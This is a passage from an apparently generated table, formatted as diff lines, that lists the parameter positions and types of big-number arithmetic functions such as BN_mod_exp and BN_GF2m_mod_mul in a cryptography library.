BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_add | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_add | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_add | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_lshift1_quick | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_lshift1_quick | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_lshift1_quick | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_sub | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_sub | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_sub | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_uadd | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_uadd | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_uadd | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_usub | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_usub | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_usub | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_inv | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_inv | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_inv | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_inv | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_solve_quad | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_solve_quad | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_solve_quad | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_solve_quad | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_sqr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_sqr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_sqr | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_sqr | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_sqrt | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_sqrt | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_sqrt | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_sqrt | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_exp | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_exp | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_exp | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_exp | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_gcd | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_gcd | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_gcd | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_gcd | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_inverse | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_inverse | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_inverse | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_inverse | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_lshift1 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_lshift1 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_lshift1 | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_lshift1 | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sqr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sqr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sqr | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sqr | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sqrt | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sqrt | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sqrt | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sqrt | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mul | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mul | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mul | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mul | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_192 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_192 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_192 | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_192 | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_224 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_224 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_224 | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_224 | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_256 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_256 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_256 | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_256 | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_384 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_384 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_384 | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_384 | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_521 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_521 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_521 | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_521 | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nnmod | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nnmod | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nnmod | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nnmod | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_mul_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_mul_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_mul_fixed_top | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_mul_fixed_top | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *) | | int_bn_mod_inverse | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *) | | int_bn_mod_inverse | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *) | | int_bn_mod_inverse | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *) | | int_bn_mod_inverse | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *) | | int_bn_mod_inverse | 4 | int * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_mul_montgomery | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_mul_montgomery | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_mul_montgomery | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_mul_montgomery | 3 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_mul_montgomery | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_mul_mont_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_mul_mont_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_mul_mont_fixed_top | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_mul_mont_fixed_top | 3 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_mul_mont_fixed_top | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_mod_mul_reciprocal | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_mod_mul_reciprocal | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_mod_mul_reciprocal | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_mod_mul_reciprocal | 3 | BN_RECP_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_mod_mul_reciprocal | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_add_quick | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_add_quick | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_add_quick | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_add_quick | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_sub_quick | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_sub_quick | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_sub_quick | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_sub_quick | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | bn_mod_add_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | bn_mod_add_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | bn_mod_add_fixed_top | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | bn_mod_add_fixed_top | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | bn_mod_sub_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | bn_mod_sub_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | bn_mod_sub_fixed_top | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | bn_mod_sub_fixed_top | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_div | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_div | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_div | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_div | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_div | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_exp | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_exp | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_exp | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_exp | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_exp | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_mul | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_mul | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_mul | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_mul | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_mul | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_add | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_add | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_add | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_add | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_add | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_recp | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_recp | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_recp | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_recp | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_recp | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_simple | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_simple | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_simple | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_simple | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_exp_simple | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_mul | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_mul | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_mul | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_mul | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_mul | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sub | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sub | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sub | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sub | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sub | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont | 5 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_consttime | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_consttime | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_consttime | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_consttime | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_consttime | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp_mont_consttime | 5 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | bn_mod_exp_mont_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | bn_mod_exp_mont_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | bn_mod_exp_mont_fixed_top | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | bn_mod_exp_mont_fixed_top | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | bn_mod_exp_mont_fixed_top | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | bn_mod_exp_mont_fixed_top | 5 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 4 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 5 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 6 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 7 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 8 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 9 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_exp_mont_consttime_x2 | 10 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp2_mont | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp2_mont | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp2_mont | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp2_mont | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp2_mont | 4 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp2_mont | 5 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *) | | BN_mod_exp2_mont | 6 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM 